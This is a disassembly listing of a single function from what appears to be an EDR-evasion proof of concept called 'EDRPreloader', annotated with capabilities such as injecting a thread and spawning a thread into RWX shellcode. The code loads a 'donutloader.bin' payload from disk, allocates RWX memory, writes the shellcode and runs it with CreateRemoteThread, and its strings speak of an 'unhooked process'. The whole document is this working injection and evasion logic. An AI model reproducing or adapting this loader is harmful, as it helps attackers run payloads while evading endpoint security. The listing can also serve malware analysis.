Function at 0x1400116a4
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14001f8d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x6b0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x10c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6d8]
mov rax, qword [0x1400322c0]
xor rax, rbp
mov qword [rbp + 0x660], rax
lea rcx, [0x14003a27c]
call fcn.1400119dd
nop
cmp qword [0x140032978], 0
jne 0x14001f967
lea rcx, str._nWARNING:_app_crashes_during_LdrpInitializeProcess___can_freeze_the_system__run_this_PoC_in_a_VM._n_n
call fcn.14001146f
nop
call fcn.140011087
nop
lea rcx, str._nRunning_EDRPreloader..._n_n
call fcn.14001146f
nop
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x698]
mov rcx, qword [rcx + rax]
call fcn.14001169f
nop
jmp 0x14001fec8
lea rcx, str._nHello_from_a__hopefully__unhooked_process__n_n
call fcn.14001146f
nop
call fcn.140011087
nop
mov edx, 0x110
lea rcx, [rbp + 0x10]
call fcn.1400116b3
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, str.C:Users0xn4dDesktop_toolsdonutloader.bin
lea rcx, [rbp + 0x10]
call fcn.140011915
nop
lea rcx, [rbp + 0x10]
call fcn.14001104b
movzx eax, al
test eax, eax
jne 0x14001f9ef
lea rdx, str.Unable_to_open_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
nop
mov dword [rbp + 0x454], 1
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x454]
jmp 0x14001fece
mov r8d, 2
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
nop
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.140011a05
mov qword [rbp + 0x138], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
nop
cmp qword [rbp + 0x138], 0
jg 0x14001fa7e
lea rdx, str.File_is_empty_or_cannot_determine_file_size.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
lea rdx, [0x140011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x4a4], 1
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x4a4]
jmp 0x14001fece
mov edx, 0x20
lea rcx, [rbp + 0x158]
call fcn.140011852
lea rax, [rbp + 0x4e8]
mov qword [rbp + 0x518], rax
lea rcx, [rbp + 0x4c4]
call fcn.140011230
mov qword [rbp + 0x658], rax
mov rcx, qword [rbp + 0x518]
call fcn.140011749
lea rcx, [rbp + 0x640]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x538]
call fcn.1400115fa
lea rcx, [rbp + 0x610]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x658]
mov r9, rax
lea r8, [rbp + 0x640]
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x158]
call fcn.140011942
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x194], eax
mov r8d, dword [rbp + 0x194]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
jne 0x14001fbb6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x654], eax
lea rdx, str.Couldnt_open_process._Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
mov ecx, dword [rbp + 0x654]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x564], 1
lea rcx, [rbp + 0x158]
call fcn.1400118fc
nop
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x564]
jmp 0x14001fece
lea rcx, str._n_n____Allocating_memory_in_the_process...
call fcn.14001146f
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rbp + 0x138]
xor edx, edx
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
jne 0x14001fc72
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x654], eax
lea rdx, str.Couldnt_allocate_memory._Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
mov ecx, dword [rbp + 0x654]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x584], 1
lea rcx, [rbp + 0x158]
call fcn.1400118fc
nop
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x584]
jmp 0x14001fece
mov rdx, qword [rbp + 0x1d8]
lea rcx, str._n_n____Writing_shellcode_into_0x_p...
call fcn.14001146f
nop
lea rcx, [rbp + 0x158]
call fcn.1400112b2
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x138]
mov r8, rax
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001fd59
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x654], eax
lea rdx, str.Couldnt_write_shellcode._Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
mov ecx, dword [rbp + 0x654]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x5a4], 1
lea rcx, [rbp + 0x158]
call fcn.1400118fc
nop
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x5a4]
jmp 0x14001fece
lea rcx, str._n_n____Creating_new_thread_for_shellcode_execution...
call fcn.14001146f
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x1d8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x14001fe46
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x654], eax
lea rdx, str.Couldnt_create_a_new_thread._Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
mov ecx, dword [rbp + 0x654]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x5c4], 1
lea rcx, [rbp + 0x158]
call fcn.1400118fc
nop
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x5c4]
jmp 0x14001fece
lea rcx, str._n_n____Shellcode_executed._n
call fcn.14001146f
nop
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x5e4], 0
lea rcx, [rbp + 0x158]
call fcn.1400118fc
nop
lea rcx, [rbp + 0x10]
call fcn.140011177
mov eax, dword [rbp + 0x5e4]
jmp 0x14001fece
jmp 0x14001fecc
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14002b4b0]
call fcn.140011825
mov rax, rdi
mov rcx, qword [rbp + 0x660]
xor rcx, rbp
call fcn.140011497
lea rsp, [rbp + 0x670]
pop rdi
pop rsi
pop rbp
ret